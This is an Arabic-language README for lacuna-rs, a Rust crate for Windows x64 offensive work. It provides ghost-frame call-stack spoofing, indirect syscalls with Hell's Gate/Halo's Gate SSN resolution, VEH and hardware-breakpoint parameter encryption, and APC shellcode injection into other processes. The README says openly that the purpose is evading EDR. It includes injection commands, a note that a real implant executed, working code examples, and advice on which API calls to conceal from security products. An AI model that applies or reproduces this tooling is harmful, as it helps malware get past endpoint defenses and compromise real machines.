
مكتبة Rust لتزييف مكدس الاستدعاءات ghost-frame call-stack spoofing، واستدعاءات النظام غير المباشرة runtime indirect syscalls، وحقن APC على Windows x64. توفر حل SSN resolution، وإصدار كعب JIT stub emission، وتشفير المعلمات القائم على VEH-based parameter encryption لتجنب EDR evasion.
Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — مُهاجَر إلى Rust.
مُهاجَر من LACUNA Chain (lacuna_chain.c) بقلم محمد الزهراني (0xmaz).
lacuna-rs هي حزمة Rust قابلة لإعادة الاستخدام توفر نفس الأدوات الأولية مثل TTP الأصلي بلغة C، منظمة بحيث يمكن إسقاطها في أي مشروع Rust — مثل wsyscall-rs أو syscalls-rs، ولكن مع حل أرقام استدعاء النظام (SSN) في وقت التشغيل، وتحديد syscall;ret لكل دالة على حدة، وتزوير مكدس الإطار الشبح.
ميزة
stack-spoofستفشل بصمت إذا لم يتم تجميع الحزمة المستهلكة باستخدام مؤشرات الإطار.
الأدوات الأولية لدوس المكدس في chain.rs تحدد فتحة عنوان إعادة الاستدعاء الخاصة بالمتصل عبر mov rbp, {x} inline asm. وهذا يتطلب أن تكون سلسلة RBP سليمة. تقوم Rust (ومعظم المترجمات في وضع الإصدار) بإزالة مؤشرات الإطار افتراضيًا.
build.rs يضبط force-frame-pointers=yes لتوليد الشيفرة الخاص بهذه الحزمة، لكن Cargo لا يستطيع نشر علامات المترجم إلى الحزم النهائية downstream. يجب عليك إضافة هذا إلى مشروعك الخاص:
# .cargo/config.toml (في حزمتك الخاصة، وليس في lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
بدون هذا، سيعمل stomp_plant() على قراءة بيانات عشوائية من RBP وسيفشل (في أفضل الحالات) أو سيسبب تلفًا في المكدس (في أسوأ الحالات). لا يوجد طريقة للحزمة لاكتشاف في وقت التشغيل ما إذا كانت مؤشرات الإطار مفعلة — فهي ببساطة لن تعمل.
إذا كنت تحتاج فقط إلى أدوات المسح أو حل SSN أو الحقن (بدون تزوير المكدس)، يمكنك استبعاد ميزة stack-spoof وهذه المتطلبات لا تنطبق.
| أداة أولية | دالة C | وحدة Rust |
|---|---|---|
| تحليل مقاطع PE وتصديراته | pe_section()، pe_export() | pe |
مسح منطقة الشبح .pdata | scan_ghosts()، best_ghost() | scan |
اكتشاف أدوات الشبح (jmp [rbx]) | scan_ghost_gadgets() | scan |
إيجاد فجوة NOP في win32u | win32u_nop_gap() | scan |
| إيجاد مرساة BYOUD-MF | find_mf_target() | scan |
| حل SSN (Hell’s Gate / Halo’s Gate) | resolve_ssn() | nt |
مُحدّد syscall;ret الخاص بكل دالة | find_func_syscall() | nt |
| إصدار كعب استدعاء غير مباشر JIT | alloc_stub() | stub |
| إعادة توجيه كعب استدعاء أداة الشبح | (في alloc_stub()) | stub |
| تشفير المعاملات بواسطة VEH + نقاط التوقف العتادية | param_encrypt_veh()، pcrypt_arm() | veh |
| حارس سلسلة VEH | chain_veh() | veh |
| بناء سلسلة LACUNA | build_chain() | chain |
| دوس المكدس (BYOUD-RT) | stomp_plant()، stomp_restore() | chain |
| متجّول السلسلة (تحقق) | lacuna_walk_chain() | chain |
| حقن APC عبر المقطع | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| ميزة | وصف | هل يتطلب مؤشرات إطار؟ |
|---|---|---|
syscalls (افتراضي) | حل SSN + إصدار كعب استدعاء JIT | لا |
inject (افتراضي) | حقن APC عبر المقطع (inject::inject_sapc) | لا |
veh | VEH + تشفير المعاملات بنقطة توقف عتادية | لا |
stack-spoof | سلسلة الإطار الشبح LACUNA + دوس المكدس | نعم |
no-std | وضع no_std (تجريبي) | لا |
عندما لا يتم تمكين أي ميزات، تكون فقط طبقات المسح/PE/NT متاحة.
cargo run --example scan
cargo run --example verify --features stack-spoof
مثال على الحقن مع إمبلانت حقيقي - C2 كان غير متصل لكن الشيلكود نُفّذ
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
أضف --verbose لتفعيل مخرجات VEH التشخيصية (تفريغات المكدس، طباعة المسجلات):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
بدلاً من وضع APCs لكل خيط في العملية المستهدفة (والذي يمكن أن يتسبب في تعطل العملية عند تنبيه عدد كبير من الخيوط في وقت واحد)، تستخدم inject_sapc خوارزمية تسجيل لاختيار أفضل MAX_APC_THREADS (5) مرشحين:
NtQueryInformationThread(ThreadCycleTime) — مؤشر النشاط الرئيسيNtQueryInformationThread(ThreadTimes) — وقت النواة + وقت المستخدمNtQueryInformationThread(ThreadSuspendCount) — الخيوط غير المعلقة تحصل على مكافأة +300؛ الخيوط المعلقة تحصل على عقوبة -150 لكل تعليقNtQueryInformationThread(ThreadBasicInformation) — الخيوط ذات الأولوية 8-10 تحصل على مكافأة +150؛ الأولويات خارج النطاق تحصل على عقوبة -100الخيوط الخاملة تمامًا (بدون دورات وبدون وقت CPU) تُتجاوز تمامًا. يتم فرز المرشحين المتبقين حسب النتيجة (الأعلى أولاً، كسر التعادل بالدورات) ويتم اقتطاعهم إلى أعلى 5.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// مسح المناطق الشبح
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} منطقة شبح في ntdll", n);
// حل SSN + syscall;ret لدالة معينة
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// حل SSN + عنوان syscall;ret الخاص بالدالة
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// إصدار كعب JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (أو jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret إذا تم استدعاء build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("فشل تخصيص الكعب");
// تحويل الكعب إلى نوع مؤشر الدالة المناسب واستدعائها
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// مسح ntdll/kernelbase/wow64/win32u للمناطق الشبح وبناء
// مكدس الاستدعاءات المزيف المكون من ست طبقات. يتم تعيين G_GHOST_GADGET
// بحيث تمر الكعوب عبر JMP [RBX] في DLL موقّع.
lacuna::chain::build_chain();
// تسجيل معالجات VEH (تشفير المعاملات + الحارس)
let _veh = lacuna::veh::VehGuard::register().expect("فشل تسجيل VEH");
// اختياري: تفعيل التشخيص التفصيلي أثناء التشغيل
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// زرع إطارات شبح (يستبدل عناوين الإرجاع بأشباح من DLL موقّع)
lacuna::chain::stomp_plant();
// تسليح DR0 على syscall;ret -- سيقوم VEH بفك تشفير المعاملات عند الحدود
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// الاستدعاء عبر الكعب غير المباشر -- يهبط RIP داخل ntdll عند مدخل النواة
let _status = unsafe { open_proc(/* معاملات مشفرة XOR */) };
// يجب دائمًا نزع السلاح قبل أي استدعاء غير محمي
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
ليست كل استدعاءات API تحتاج إلى معالجة LACUNA الكاملة. المبدأ الرئيسي هو: إخفاء الاستدعاءات التي قد يقوم برنامج EDR بربطها بنشاط حقن أو استغلال لاحق.
هذه هي استدعاءات النظام NT "الجوهرة" التي يقوم EDR بالتوصيل بها وربطها: